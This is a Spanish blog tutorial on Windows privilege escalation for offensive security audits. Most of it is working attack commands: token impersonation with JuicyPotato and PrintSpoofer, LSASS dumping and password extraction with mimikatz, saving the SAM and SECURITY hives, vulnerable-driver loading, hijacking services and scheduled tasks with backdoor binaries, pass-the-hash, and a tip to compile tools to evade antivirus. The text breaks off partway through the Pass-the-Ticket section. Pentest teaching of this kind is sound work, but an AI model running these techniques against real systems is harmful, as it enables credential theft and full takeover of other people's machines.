Escalada de Privilegios en Windows

Secciones

Introducción

La escalada de privilegios en sistemas Windows es una de las fases más críticas y determinantes dentro de una auditoría de seguridad ofensiva. Ya sea que estemos llevando a cabo una prueba de penetración, un ejercicio Red Team o una revisión interna de seguridad, este paso representa el puente entre el acceso inicial y el control total del sistema o de la red interna. En este artículo para mi blog DavidalVK, desglosaremos de forma extensa las motivaciones, escenarios y técnicas fundamentales relacionadas con la escalada de privilegios en Windows, incluyendo comandos y herramientas adaptadas para cada etapa.

¿Por qué escalar privilegios?

La escalada de privilegios se refiere al proceso de obtener un nivel de acceso más alto que el inicial. Por ejemplo, pasar de un usuario sin privilegios a una cuenta de administrador local o incluso a la cuenta NT AUTHORITY\SYSTEM, que representa el máximo nivel de privilegio en un host Windows. Algunas razones comunes para escalar privilegios incluyen:

  1. Obtener persistencia en un sistema comprometido.
  2. Acceder a archivos sensibles o bases de datos protegidas por ACLs.
  3. Capturar credenciales desde memoria o desde recursos compartidos.
  4. Ejecutar exploits locales, que requieren altos privilegios.
  5. Moverse lateralmente a otros equipos dentro del dominio.

Escenarios comunes

1. Sistema sin Internet ni puertos USB

Una situación habitual durante auditorías en entornos corporativos es recibir una estación de trabajo bloqueada: sin acceso a internet, sin puertos USB y con un firewall estricto. En estos casos, debemos confiar completamente en herramientas ya presentes en el sistema, como PowerShell y cmd.exe, para llevar a cabo la enumeración y la explotación local. Por ejemplo, podríamos aprovechar configuraciones incorrectas en servicios o realizar un volcado de memoria del proceso lsass.exe para extraer credenciales usando procdump y mimikatz de forma offline.

2. Recurso compartido expuesto

Un escenario típico involucra la exposición de directorios compartidos abiertos para lectura. Es posible encontrar archivos como ntds.dit, SAM, SECURITY o discos virtuales .vhdx/.vmdk. Montando estos discos en un sistema local, podemos extraer los hashes de contraseñas usando secretsdump.py y aprovecharlos para ataques de tipo Pass-the-Hash en otras máquinas.

3. Credenciales en texto claro y abuso de privilegios

Un error frecuente en muchas organizaciones es dejar scripts, archivos de configuración o dumps con credenciales en texto claro. Con herramientas como findstr, Select-String o Snaffler, se pueden localizar estas credenciales y usarlas para conectarse a servicios críticos, como bases de datos MSSQL. Si la cuenta usada tiene SeImpersonatePrivilege, se puede aprovechar JuicyPotato para elevar privilegios hasta SYSTEM.

Factores que facilitan la escalada de privilegios

Las fallas de configuración y la falta de buenas prácticas de seguridad son las principales causas de que la escalada de privilegios sea posible. Entre ellas:

  • Uso de imágenes maestras reutilizadas, con contraseñas o hashes repetidos.
  • Servicios con binarios mal protegidos o rutas no entrecomilladas.
  • Parches de seguridad ausentes o sistemas legados sin mantenimiento.
  • Archivos con permisos ACL mal configurados.
  • Usuarios sin privilegios con acceso de escritura a binarios críticos.

Objetivos de la escalada de privilegios

Dependiendo del entorno, podríamos aspirar a uno de los siguientes:

  • Cuenta local Administrator.
  • Cuenta NT AUTHORITY\SYSTEM.
  • Miembro del grupo Administrators.
  • Usuario del dominio con privilegios elevados.
  • Dominio completo a través de un Domain Admin.

Pensamiento lateral y creatividad

Como analistas, debemos recordar que no siempre existirá un exploit público para nuestra versión de Windows. La clave está en pensar de forma creativa: aprovechar la combinación de permisos, configuraciones débiles y herramientas integradas. Aprender a leer el sistema es fundamental para encontrar oportunidades.

En las próximas secciones de este artículo, exploraremos de forma detallada:

  • Comandos para obtener información del sistema.
  • Detección de privilegios, grupos y políticas activas.
  • Explotación de servicios, binarios y tareas programadas.
  • Abuso de privilegios como SeImpersonate, SeDebugPrivilege, SeTakeOwnershipPrivilege.
  • Robo y reutilización de credenciales.

Prepárate para sumergirte en el mundo de la post-explotación avanzada en Windows. Vamos a comenzar.


1. Herramientas útiles para la Escalada de Privilegios en Windows

Las herramientas adecuadas pueden marcar la diferencia entre una sesión de enumeración infructuosa y una escalada exitosa hacia NT AUTHORITY\SYSTEM.

Si bien el conocimiento manual es fundamental, las herramientas automatizadas y semi-automatizadas nos permiten identificar vectores de ataque en segundos, especialmente en entornos grandes o restrictivos. A continuación, presentamos las herramientas más destacadas para esta fase, explicando su propósito, puntos fuertes y ejemplos prácticos.


1.1. Seatbelt

Lenguaje: C#
Uso: Enumeración local exhaustiva de configuraciones y vectores comunes de escalada.
Repositorio: GhostPack/Seatbelt

Seatbelt nos ayuda a recolectar información relevante como:

  • Usuarios logueados recientemente
  • Servicios instalados
  • Configuraciones de UAC
  • Programas de inicio
  • Credenciales almacenadas

Ejemplo de uso:

Seatbelt.exe -group=all

1.2. winPEAS

Lenguaje: C++ / PowerShell
Uso: Exploración automatizada de configuraciones inseguras en sistemas Windows.
Repositorio: PEASS-ng/winPEAS

winPEAS destaca por su capacidad de analizar:

  • Permisos de archivos y servicios
  • Binarios vulnerables o no entrecomillados
  • Políticas de AppLocker
  • Información de Active Directory (si aplica)

Ejemplo de uso:

winPEASany.exe

1.3. PowerUp

Lenguaje: PowerShell
Uso: Detección de configuraciones incorrectas que pueden permitir escalada de privilegios.
Repositorio: PowerSploit

PowerUp es ideal para entornos donde ya se tiene una consola PowerShell y se quiere realizar un análisis local profundo.

Ejemplo de uso:

Import-Module .\PowerUp.ps1
Invoke-AllChecks

1.4. SharpUp

Lenguaje: C#
Uso: Versión .NET de PowerUp, ideal para bypass de restricciones de PowerShell.
Repositorio: GhostPack/SharpUp

Puede usarse para identificar configuraciones vulnerables que afectan:

  • Servicios
  • ACLs
  • Configuraciones de privilegios

Ejemplo de uso:

SharpUp.exe audit

1.5. JAWS (Just Another Windows (Enum) Script)

Lenguaje: PowerShell (v2 compatible)
Uso: Enumeración sencilla y legible, enfocada en entornos sin PowerShell moderno.
Repositorio: 411Hall/JAWS

Herramienta liviana, ideal cuando otras alternativas no son viables.

Ejemplo de uso:

.\jaws-enum.ps1

1.6. SessionGopher

Lenguaje: PowerShell
Uso: Enumeración de sesiones guardadas en herramientas como RDP, PuTTY, WinSCP, FileZilla.
Repositorio: Arvanaghi/SessionGopher

Ideal para obtener credenciales o rutas de acceso remoto.

Ejemplo de uso:

Invoke-SessionGopher

1.7. Watson

Lenguaje: .NET
Uso: Identificar vulnerabilidades del sistema por parches faltantes.
Repositorio: rasta-mouse/Watson

Analiza el sistema para sugerir CVEs aplicables para escalada local.

Ejemplo de uso:

Watson.exe

1.8. LaZagne

Lenguaje: Python / ejecutable
Uso: Extracción de contraseñas guardadas en navegadores, servicios, WiFi, bases de datos, etc.
Repositorio: AlessandroZ/LaZagne

Ejemplo de uso:

lazagne.exe all

1.9. Windows Exploit Suggester – NG (WES-NG)

Lenguaje: Python
Uso: Comparar systeminfo con base de datos de vulnerabilidades Windows.
Repositorio: bitsadmin/wesng

Ejemplo de uso:

python2.7 windows-exploit-suggester.py --database 2024-05-01-mssb.xls --systeminfo systeminfo.txt

1.10. Sysinternals Suite

Lenguaje: Binarios compilados por Microsoft
Uso: Acceso granular a información de sistema: servicios, procesos, tuberías, permisos.
Sitio oficial: Sysinternals

Herramientas clave:

  • accesschk.exe: revisar permisos ACL
  • pipelist.exe: listar tuberías con nombre
  • psservice.exe: info sobre servicios

Ejemplos de uso:

accesschk.exe /accepteula -uwcqv "Usuarios" "C:\Program Files"
pipelist.exe /accepteula
psservice.exe security AppReadiness

1.11. Consejos prácticos:

  • Si el sistema es muy restrictivo, sube las herramientas a C:\Windows\Temp donde casi siempre se permite escritura.
  • Considera compilar tus propias versiones en Visual Studio si necesitas evitar detección antivirus.
  • Asegúrate de entender qué hace cada herramienta antes de usarla automáticamente: evita falsos positivos y comportamientos inesperados.

2. Obtener una idea del terreno: Conciencia situacional en Windows

Antes de ejecutar cualquier herramienta automatizada o lanzar un exploit, es esencial comprender el entorno en el que estamos operando. Esta fase inicial, conocida como «conciencia situacional», nos proporciona la información necesaria para tomar decisiones inteligentes durante la escalada de privilegios.


2.1. Configuración de red: interfaces, rutas y ARP

⭐ ipconfig /all

Muestra detalles completos de todas las interfaces de red.

ipconfig /all

Busca:

  • Interfaces activas
  • Direcciones IP internas/externas
  • Sufijos DNS
  • Puertas de enlace (puede revelar segmentación de red)

⭐ route print

Imprime la tabla de enrutamiento, mostrando cómo el sistema enruta paquetes.

route print

Esto permite identificar si el host tiene conexiones a múltiples redes (doble conexión), ideal para movimiento lateral.

⭐ arp -a

Revela la caché ARP: hosts con los que el sistema se ha comunicado.

arp -a

Puede mostrar dispositivos clave como:

  • Puertas de enlace
  • Servidores de archivos
  • Otros endpoints conectados

2.2. Verificación del antivirus: Windows Defender

Para saber si Defender está activo (y con qué capacidades):

Get-MpComputerStatus

Observa:

  • AntivirusEnabled
  • RealTimeProtectionEnabled
  • BehaviorMonitorEnabled

Si están en True, ten cuidado con las herramientas que cargas.


2.3. Políticas de AppLocker activas

AppLocker es una solución de Microsoft para permitir o bloquear binarios según reglas.

Obtener reglas vigentes:

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Probar si un binario está bloqueado:

Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone

Si devuelve «Denied», necesitarás buscar binarios alternativos (LOLbins) para evadir restricciones.


2.4. Variables de entorno

Para ver qué rutas están en uso, y si se pueden usar para cargar herramientas:

set

Revisa:

  • TEMP, TMP
  • PATH
  • Rutas como C:\Windows\Temp (generalmente escribible)

2.5. Información del sistema

Comprender el sistema operativo, arquitectura y nivel de parches:

systeminfo

Busca:

  • Nombre y versión del OS
  • Arquitectura (x64/x86)
  • Fecha de instalación
  • Parche más reciente («Hotfix(s)»)

Complemento:

wmic qfe

Revela actualizaciones instaladas por identificador (KB). Ideal para comparar contra vulnerabilidades conocidas.


2.6. Software instalado

Listado de productos:

wmic product get name

Alternativa (más rápida con PowerShell):

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName

Busca:

  • Antivirus
  • Servidores (IIS, MSSQL, etc.)
  • Aplicaciones vulnerables (WinRAR, Java viejo, etc.)

2.7. Usuarios y sesiones activas

Ver usuarios conectados:

query user

Ver usuario actual:

echo %USERNAME%

Ver detalles completos del token actual:

whoami /priv
whoami /groups

2.8. Políticas de contraseña

Para ver la configuración de la política local:

net accounts

Muestra:

  • Mínimo de longitud
  • Días para expirar
  • Intentos fallidos permitidos

Esto puede influir en ataques de fuerza bruta o en el robo de hashes.


2.9. Conexiones de red activas

Para ver conexiones actuales:

netstat -ano

Combinar con tasklist para identificar procesos:

tasklist /svc

Permite identificar:

  • Servicios que escuchan en puertos elevados
  • Posibles puertas traseras
  • Software que se comunica hacia fuera (p. ej. clientes RDP, tuneladores)

2.10. Recursos compartidos y servicios

  • Revisar servicios con rutas vulnerables:
Get-Service | Where-Object { $_.PathName -like '* ' }
  • Revisar permisos en servicios:
accesschk.exe /accepteula -uwcqv "Usuarios" "C:\Program Files"
  • Ver tuberías con nombre:
pipelist.exe /accepteula
gci \\.\pipe\

Estas pueden abrir la puerta a ataques de impersonación.


2.11. Conclusión

Esta fase de «conciencia situacional» es como estudiar el mapa antes de avanzar en una misión. Nos ayuda a entender el sistema, evaluar riesgos, detectar oportunidades y planificar nuestros movimientos de forma más inteligente.


3. Enumeración Inicial en Windows: Conociendo el terreno enemigo

La enumeración inicial es una etapa esencial tras obtener acceso a un sistema Windows. En este punto, ya hemos entendido el contexto básico del entorno (gracias a la conciencia situacional), y ahora toca recopilar información clave que podría revelar vulnerabilidades explotables o puntos de escalada de privilegios.


3.1. Versiones del sistema operativo

Saber qué versión exacta de Windows está en uso te ayuda a identificar posibles vulnerabilidades del kernel y determinar si ciertas herramientas o exploits funcionarán.

⭐ systeminfo

systeminfo

Observa:

  • Nombre del sistema operativo
  • Versión
  • Arquitectura (x64/x86)
  • Hotfixes instalados

⭐ Alternativa:

[environment]::OSVersion.Version

3.2. Usuarios y grupos locales

Ver usuarios:

net user

Ver grupos:

net localgroup

Ver miembros del grupo de administradores:

net localgroup administrators

Esto puede revelar cuentas que podrías intentar suplantar o encontrar configuraciones débiles.


3.3. Política de contraseñas

net accounts

Esto indica la longitud mínima, la complejidad requerida y el tiempo de expiración. Si las reglas son muy laxas, puede ser viable un ataque de fuerza bruta o password spraying.


3.4. Procesos y servicios

Ver procesos activos:

tasklist /svc

Servicios automáticos que no están en rutas del sistema:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\\windows\\"

Esto puede revelar binarios vulnerables, rutas no entrecomilladas o servicios de terceros mal configurados.


3.5. Parches y actualizaciones

Listar hotfixes:

wmic qfe get HotFixID,Description,InstalledOn

Puedes comparar esto con vulnerabilidades conocidas usando herramientas como Watson o WES-NG.


3.6. Programas instalados

Ver lista de software:

wmic product get name

Alternativa más estable:

Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName

Busca:

  • Software desactualizado
  • Programas comunes vulnerables (WinRAR, Java, etc.)
  • Herramientas de administración remota

3.7. Variables de entorno y rutas

set

Verifica si el PATH incluye rutas como C:\Users\Public\ o C:\Temp, lo que podría permitir ataques como hijacking de ejecutables.


3.8. Comprobación de privilegios del usuario actual

Ver nombre de usuario:

echo %USERNAME%

Ver token de seguridad:

whoami
whoami /groups
whoami /priv

Observa si tienes alguno de estos privilegios:

  • SeImpersonatePrivilege
  • SeAssignPrimaryTokenPrivilege
  • SeDebugPrivilege
  • SeTakeOwnershipPrivilege

Con cualquiera de estos, podrías usar técnicas como JuicyPotato, PrintSpoofer, DLL hijacking, etc.


3.9. Sesiones de usuario

query user

Útil para saber si hay usuarios con sesiones activas, incluyendo administradores que podrías atacar indirectamente (ej. inyección en proceso, robo de token, mimikatz, etc.)


3.10. Tuberías con nombre

Las named pipes son mecanismos de comunicación entre procesos. Algunas herramientas como PrintSpoofer requieren que existan ciertas tuberías con acceso público.

Comandos:

pipelist.exe /accepteula
gci \\.\pipe\

Puedes verificar permisos con:

accesschk.exe /accepteula \\.\pipe\lsass -v

3.11. Información de red y conectividad

Ya cubierto en la fase de conciencia situacional, pero puedes volver a consultar:

netstat -ano

3.12. Conclusión

La enumeración inicial es la antesala de cualquier ataque exitoso. Si sabes dónde están los eslabones débiles, podrás usar el conjunto correcto de herramientas y técnicas para escalar privilegios sin llamar la atención.


4. Comunicación con Procesos en Windows: Abriendo nuevas puertas

Uno de los enfoques más potentes en la escalada de privilegios en Windows consiste en abusar de la comunicación entre procesos. Este tipo de interacción es común en sistemas operativos modernos, y Windows no es la excepción. Si un proceso privilegiado se comunica con uno sin privilegios mediante mecanismos inseguros, el atacante puede aprovechar ese canal para elevar sus permisos, suplantar sesiones o inyectar código.


4.1. Named Pipes (Tuberías con nombre)

Las named pipes son un mecanismo IPC (inter-process communication) muy usado en Windows. Algunos servicios con privilegios elevados crean tuberías para recibir comandos u operar con otros procesos. Si estas no están protegidas adecuadamente, podemos interactuar con ellas o incluso secuestrarlas.

⭐ Enumerar tuberías:

Con PowerShell:

gci \\.\pipe\

Con Sysinternals:

pipelist.exe /accepteula

⭐ Revisar permisos de una pipe:

accesschk.exe /accepteula \\.\Pipe\lsass -v

Busca pipes que permitan acceso a usuarios sin privilegios (BUILTIN\Users, Everyone, etc.). Son candidatas a ataques como PrintSpoofer, RoguePotato, Pipe impersonation, etc.


4.2. Impersonación mediante SeImpersonatePrivilege

Un proceso con este privilegio puede suplantar el token de seguridad de otro proceso si logra capturar una conexión con ese proceso. La técnica más clásica que abusa de esto es JuicyPotato.

Verificar si tienes este privilegio:

whoami /priv

Busca:

SeImpersonatePrivilege           Enabled

Uso de JuicyPotato:

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t *

Este exploit crea una pipe falsa y espera a que un proceso privilegiado se conecte para robar su token y ejecutar código como SYSTEM.


4.3. Uso de PrintSpoofer (Alternativa moderna)

PrintSpoofer explota servicios vulnerables (como Print Spooler) combinados con SeImpersonatePrivilege para ejecutar comandos como SYSTEM.

Ejemplo:

PrintSpoofer.exe -c "cmd.exe"

El binario se conecta a una pipe de servicio vulnerable y fuerza la elevación del token.


4.4. Pipes en servicios de base de datos (ej. MSSQL)

Si se puede acceder a un servidor MSSQL que ejecuta xp_cmdshell, es posible ejecutar comandos del sistema operativo directamente.

Ejemplo usando mssqlclient.py de impacket:

mssqlclient.py usuario@ip -windows-auth

Dentro del cliente:

enable_xp_cmdshell
xp_cmdshell whoami

Si el servidor MSSQL está corriendo como NT AUTHORITY\SYSTEM, el comando devolverá SYSTEM.


4.5. Pipes de servicios vulnerables

Algunos servicios crean tuberías automáticamente y permiten conexiones no autorizadas. Al analizarlas puedes descubrir mecanismos de ataque poco comunes, como DLL hijacking o abuso de eventos COM expuestos.

Ejemplo de pipe que podría usarse:

\\.\pipe\spoolss

Usando herramientas como Evil-WinRM, RoguePotato o GodPotato, puedes interactuar con estas tuberías específicas.


4.6. Procesos y token stealing

Si un proceso privilegiado está activo y el usuario actual tiene SeDebugPrivilege, puedes inyectar shellcode o duplicar su token para ejecutar comandos elevados.

Ver procesos activos:

tasklist

Usar Mimikatz para robar token:

privilege::debug
token::elevate
token::list
token::use /id:123

Esto solo es posible si el token deseado está disponible en el contexto del usuario.


4.7. Conclusión

Comprender y analizar la comunicación entre procesos puede parecer menos directo que buscar exploits, pero es uno de los vectores más efectivos y menos ruidosos para escalar privilegios. En entornos modernos, las tuberías mal configuradas o los privilegios de impersonación son una mina de oro para el atacante.


5. Privilegios de Usuario en Windows: Tu nivel de acceso define el juego

En sistemas Windows, los privilegios de usuario definen exactamente qué acciones puedes llevar a cabo. A la hora de escalar privilegios, es fundamental comprender qué derechos posee el usuario comprometido, ya que algunos privilegios por sí solos permiten tomar el control del sistema con las herramientas adecuadas.


5.1. Ver los privilegios del usuario actual

Comando:

whoami /priv

Este comando muestra todos los privilegios que tiene tu contexto de ejecución actual. Algunos están habilitados por defecto, otros no.

Ejemplo de salida:

Privilege Name                  Description                               State
=============================  ========================================  ========
SeShutdownPrivilege            Shut down the system                      Disabled
SeChangeNotifyPrivilege        Bypass traverse checking                  Enabled
SeImpersonatePrivilege         Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set            Disabled

El objetivo es encontrar privilegios habilitados que puedan facilitar la escalada. A continuación se explican los más críticos.


5.2. SeImpersonatePrivilege

Permite suplantar el token de otro proceso si este se conecta a nuestro servidor (pipe).

✅ Explotable con:

  • JuicyPotato
  • RoguePotato
  • PrintSpoofer

Comprobación:

whoami /priv | findstr SeImpersonate

Si está habilitado, puedes intentar una escalada inmediata.


5.3. SeAssignPrimaryTokenPrivilege

Permite asignar un token de seguridad a un nuevo proceso. Este privilegio es menos común, pero algunas variantes de Juicy/RoguePotato pueden usarlo si SeImpersonate no está presente.

Verificación:

whoami /priv | findstr SeAssignPrimaryToken

5.4. SeDebugPrivilege

Permite depurar otros procesos, lo que puede ser usado para leer memoria de procesos privilegiados como lsass.exe.

Escenarios de explotación:

  • Volcado de LSASS (para usar con Mimikatz)
  • Inyección en procesos
  • Robo de tokens

Verificar:

whoami /priv | findstr SeDebugPrivilege

Si está habilitado:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Luego:

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

5.5. SeTakeOwnershipPrivilege

Permite tomar la propiedad de cualquier objeto, incluso si no se tienen permisos para modificarlo.

Comando para tomar propiedad de un archivo:

takeown /f C:\ruta\archivo.txt

Verificar con PowerShell:

Get-ChildItem -Path 'C:\ruta\' | select name,@{Name="Owner";Expression={(Get-Acl $_.Fullname).Owner}}

Otorgar permisos totales:

icacls "C:\ruta\archivo.txt" /grant usuario:F

Este privilegio se puede usar para tomar control de ejecutables, servicios o DLLs y modificarlos con cargas maliciosas.


5.6. SeBackupPrivilege / SeRestorePrivilege

Estos privilegios permiten leer y escribir archivos incluso si no se tienen permisos ACL convencionales. Son útiles para acceder a archivos del sistema, como SAM, SYSTEM, SECURITY.

Leer archivos protegidos:

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

Luego puedes usar secretsdump.py para extraer hashes.


5.7. SeLoadDriverPrivilege

Permite cargar drivers de kernel. Si se puede abusar, puede dar acceso a nivel de anillo 0 (nivel más alto del sistema).

Ejemplo:

  1. Compilar un driver vulnerable (ej. Capcom.sys)
  2. Modificar el registro:
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
  1. Cargar el driver:
EoPLoadDriver.exe System\CurrentControlSet\CAPCOM C:\Tools\Capcom.sys

5.8. Comprobar todos los privilegios con PowerShell

whoami /priv | Format-Table

O para ver en detalle:

$WinIdentity = [Security.Principal.WindowsIdentity]::GetCurrent()
$WinIdentity.User
$WinIdentity.Groups
$WinIdentity.Claims

5.9. Conclusión

Saber qué privilegios tiene tu sesión actual es tan importante como tener un exploit en la mano. Muchos entornos de red tienen usuarios aparentemente limitados que cuentan con privilegios altamente explotables por configuración por defecto, mala segmentación o por haber sido parte de grupos antiguos.


6. Privilegios de Grupo en Windows: Escalada silenciosa a través de pertenencias

En Windows, los privilegios no solo se asignan directamente a usuarios individuales, sino también a través de los grupos a los que pertenecen. Muchos usuarios que parecen inofensivos terminan teniendo un poder enorme simplemente por formar parte de un grupo privilegiado. Esta es una de las formas más sutiles y efectivas de escalar privilegios.


6.1. Ver los grupos del usuario actual

Comando:

whoami /groups

Este comando muestra todos los grupos a los que pertenece el usuario, junto con los atributos del token (si están habilitados, si son predeterminados, etc.).

Ejemplo de salida:

Group Name                                 SID                                          Attributes
=========================================  ============================================  =================
Everyone                                   S-1-1-0                                      Mandatory group
BUILTIN\Users                              S-1-5-32-545                                 Mandatory group
BUILTIN\Administrators                     S-1-5-32-544                                 Enabled group
NT AUTHORITY\INTERACTIVE                  S-1-5-4                                      Mandatory group

Si ves BUILTIN\Administrators o NT AUTHORITY\SYSTEM, ya tienes acceso total.


6.2. Grupos comunes que permiten escalada

Incluso si no estás en Administrators, hay otros grupos que otorgan capacidades peligrosas:

Backup Operators (S-1-5-32-551)

  • Pueden leer cualquier archivo del sistema con SeBackupPrivilege.
  • Acceder a SAM, SYSTEM, SECURITY y volcarlos con reg save.

Remote Desktop Users

  • Pueden conectarse por RDP al sistema.
  • Si se configura RestrictedAdmin, podrías robar credenciales NTLM al conectar.

Power Users

  • Tienen privilegios intermedios; en versiones antiguas pueden instalar software o modificar configuraciones del sistema.

Print Operators

  • Heredan privilegios de impresión. Históricamente abusables mediante el servicio spooler.

Users con privilegios de servicio

Si estás en un grupo con capacidad para reiniciar o modificar servicios:

sc qc NombreDelServicio

Y tienes permisos de escritura sobre el binario o argumentos, puedes usarlo para escalar.


6.3. Ver miembros de grupos locales

Listar todos los grupos locales:

net localgroup

Ver los miembros de un grupo en particular:

net localgroup "Administrators"
net localgroup "Remote Desktop Users"

Esto permite descubrir usuarios con privilegios y posiblemente reutilizar sus credenciales (pass-the-hash, phishing, etc.).


6.4. Ver miembros de grupos de dominio (si aplica)

En entornos de dominio, puedes usar whoami /groups junto con consultas LDAP/Powerview para analizar miembros de grupos privilegiados.

Ejemplo con PowerView:

Get-NetGroupMember -GroupName "Domain Admins"

O buscar usuarios con privilegios peligrosos:

Get-NetUser -AdminCount 1

Esto revela cuentas que alguna vez fueron parte de grupos privilegiados.


6.5. Abuso indirecto de grupos

Si no puedes actuar directamente, busca:

  • Usuarios en Administrators con sesiones activas (token stealing)
  • Compartidos accesibles donde puedas dejar un payload para un usuario privilegiado
  • Servicios que corren bajo cuentas con privilegios de grupo

6.6. Cambios de grupo (persistencia)

Si tienes acceso a herramientas administrativas y quieres mantener persistencia:

net localgroup administrators usuario /add

Advertencia: Esta acción puede levantar alertas en sistemas monitorizados.


6.7. Automatizar con Seatbelt o PowerUp

Estas herramientas también detectan membresías de grupos peligrosas:

Seatbelt.exe -group=all
Invoke-AllChecks

Busca resultados como:

  • «User is in the Backup Operators group»
  • «Token privileges: SeDebugPrivilege, SeTakeOwnershipPrivilege»

6.8. Conclusión

Escalar privilegios mediante pertenencia a grupos privilegiados es una técnica discreta, poderosa y común. Muchos equipos de seguridad subestiman el poder de los grupos como vectores de ataque.


7. Servicios, Tareas Programadas y Binarios Explotables en Windows

Dentro del ecosistema Windows, una de las fuentes más comunes de escalada de privilegios es el mal uso o configuración incorrecta de servicios, tareas programadas y binarios confiables. Estas entidades suelen ejecutarse con privilegios elevados y, si son manipulables por usuarios sin privilegios, se convierten en puertas de entrada directas al sistema.


7.1. Servicios de Windows

Los servicios se ejecutan normalmente con altos privilegios (SYSTEM o Administrador local). Si el binario que ejecutan puede ser modificado por el usuario actual, se pueden aprovechar para ejecutar payloads con permisos elevados.

⭐ Ver servicios automáticos fuera de rutas del sistema:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\\windows\\"

⭐ Revisar permisos en servicios:

accesschk.exe /accepteula -uwcqv "Usuarios" "C:\Program Files"

Busca si el usuario actual tiene permisos de escritura (RW) sobre rutas de binarios.

⭐ Reiniciar un servicio con binario malicioso:

sc stop NombreDelServicio
sc start NombreDelServicio

O modificarlo directamente:

sc config NombreDelServicio binPath= "C:\ruta\reverse_shell.exe"

7.2. Rutas no entrecomilladas

Cuando un servicio ejecuta un binario desde una ruta con espacios y sin comillas dobles, Windows busca ejecutables en cada fragmento del path. Esto permite ejecutar binarios colocados en ubicaciones intermedias si se tienen permisos de escritura.

Ejemplo vulnerable:

C:\Program Files\Mi Aplicacion\Servicio.exe

Si no está entrecomillado, Windows puede intentar ejecutar:

  • C:\Program.exe
  • C:\Program Files\Mi.exe

Verificar servicios con rutas no entrecomilladas:

wmic service get name,pathname | findstr /i /v "\""

Si tienes permisos de escritura en C:\, puedes subir un Program.exe malicioso y reiniciar el servicio.


7.3. Tareas Programadas

Las tareas programadas son otro vector de explotación común, especialmente cuando:

  • Se ejecutan con privilegios elevados.
  • Ejecutan scripts o binarios modificables.
  • Son configurables por usuarios sin privilegios.

Ver tareas programadas:

schtasks /query /fo LIST /v

Revisar permisos en los archivos ejecutados:

Get-ScheduledTask | foreach { $_.Actions } | Select-Object Execute, Arguments

Busca tareas con binarios en rutas públicas como C:\Users\Public o C:\Temp.

Ver permisos de modificación en tareas:

icacls "C:\Windows\System32\Tasks"

Crear una tarea maliciosa:

schtasks /create /tn "persistencia" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM

7.4. DLL Hijacking

Si un binario privilegiado carga DLLs sin especificar la ruta completa, puede ser engañado para cargar una DLL maliciosa desde el mismo directorio.

Identificar binarios susceptibles:

procmon.exe

Filtrar eventos por CreateFile y extensiones .dll con resultado «NAME NOT FOUND».

Crear DLL y ejecutarla:

  1. Compilar DLL con payload.
  2. Colocarla en el mismo directorio que el binario.
  3. Ejecutar el binario para cargarla.

7.5. Binarios confiables por el sistema (LoLBins)

Windows tiene muchos binarios firmados que pueden ser usados de forma abusiva:

  • msbuild.exe
  • certutil.exe
  • regsvr32.exe
  • rundll32.exe

Ejemplo con msbuild.exe:

Crear archivo .csproj con payload y ejecutarlo:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe payload.csproj

7.6. Auto-elevación (manifest injection)

Algunos binarios permiten que se les adjunten manifestos con atributos UAC que provocan elevación automática si están mal configurados.

Insertar manifest en ejecutable:

mt.exe -manifest uac.xml -outputresource:binario.exe;#1

Este tipo de ataque puede forzar una solicitud de elevación o una ejecución directa como administrador si no hay UAC.


7.7. Conclusión

Servicios mal configurados, rutas vulnerables y tareas con permisos inseguros son objetivos clásicos y efectivos para escalar privilegios. Saber identificar estas configuraciones es clave para cualquier operador ofensivo.


8. Robo de Credenciales en Windows: La llave maestra para la escalada

Uno de los pilares fundamentales en la escalada de privilegios es el robo de credenciales. En muchas situaciones, el acceso inicial a un sistema Windows no es suficiente para alcanzar el dominio completo. Sin embargo, capturando credenciales de usuarios con mayores privilegios, puedes moverte lateralmente, ejecutar ataques Pass-the-Hash, o simplemente escalar a SYSTEM sin necesidad de exploits.


8.1. Mimikatz: el rey del post-exploit

Mimikatz es la herramienta por excelencia para extraer contraseñas en texto claro, hashes NTLM, tickets Kerberos y tokens.

Cargar Mimikatz:

mimikatz.exe

Comandos esenciales:

privilege::debug
sekurlsa::logonpasswords

Esto muestra usuarios logueados, sus contraseñas en claro (si existen), y hashes que pueden ser reutilizados.

Volcar desde archivo LSASS:

procdump.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

8.2. Buscar contraseñas en archivos y scripts

Muchos administradores cometen el error de dejar credenciales en:

  • Archivos .bat, .ps1, .vbs
  • Scripts de conexión remota (WinSCP, FileZilla, RDP)
  • Documentos .txt, .ini, .xml

Buscar con findstr:

findstr /si /m /p "password" *.xml *.ini *.txt *.config

Buscar con PowerShell:

Select-String -Path *.ps1,*.txt,*.config -Pattern "password"

Herramienta especializada: Snaffler

Snaffler.exe -v -o report.csv

Recorre unidades compartidas buscando patrones comunes de contraseñas, claves y configuraciones sensibles.


8.3. Herramientas para obtener credenciales almacenadas

LaZagne

Permite extraer credenciales guardadas localmente en navegadores, Wi-Fi, bases de datos y clientes FTP.

lazagne.exe all

SessionGopher

Extrae credenciales de herramientas como PuTTY, WinSCP y FileZilla.

Invoke-SessionGopher

8.4. Pass-the-Hash (PtH)

Si tienes un hash NTLM, puedes usarlo directamente sin conocer la contraseña original.

Con psexec.py (Impacket):

psexec.py -hashes :HASH administrador@IP

Con wmiexec.py:

wmiexec.py -hashes :HASH administrador@IP

8.5. Pass-the-Ticket (PtT)

Si extraes un ticket Kerberos TGT con Mimikatz, puedes usarlo para autenticarte sin la contraseña.

Exportar ticket:

kerberos::list /export

Importar en otro sistema:

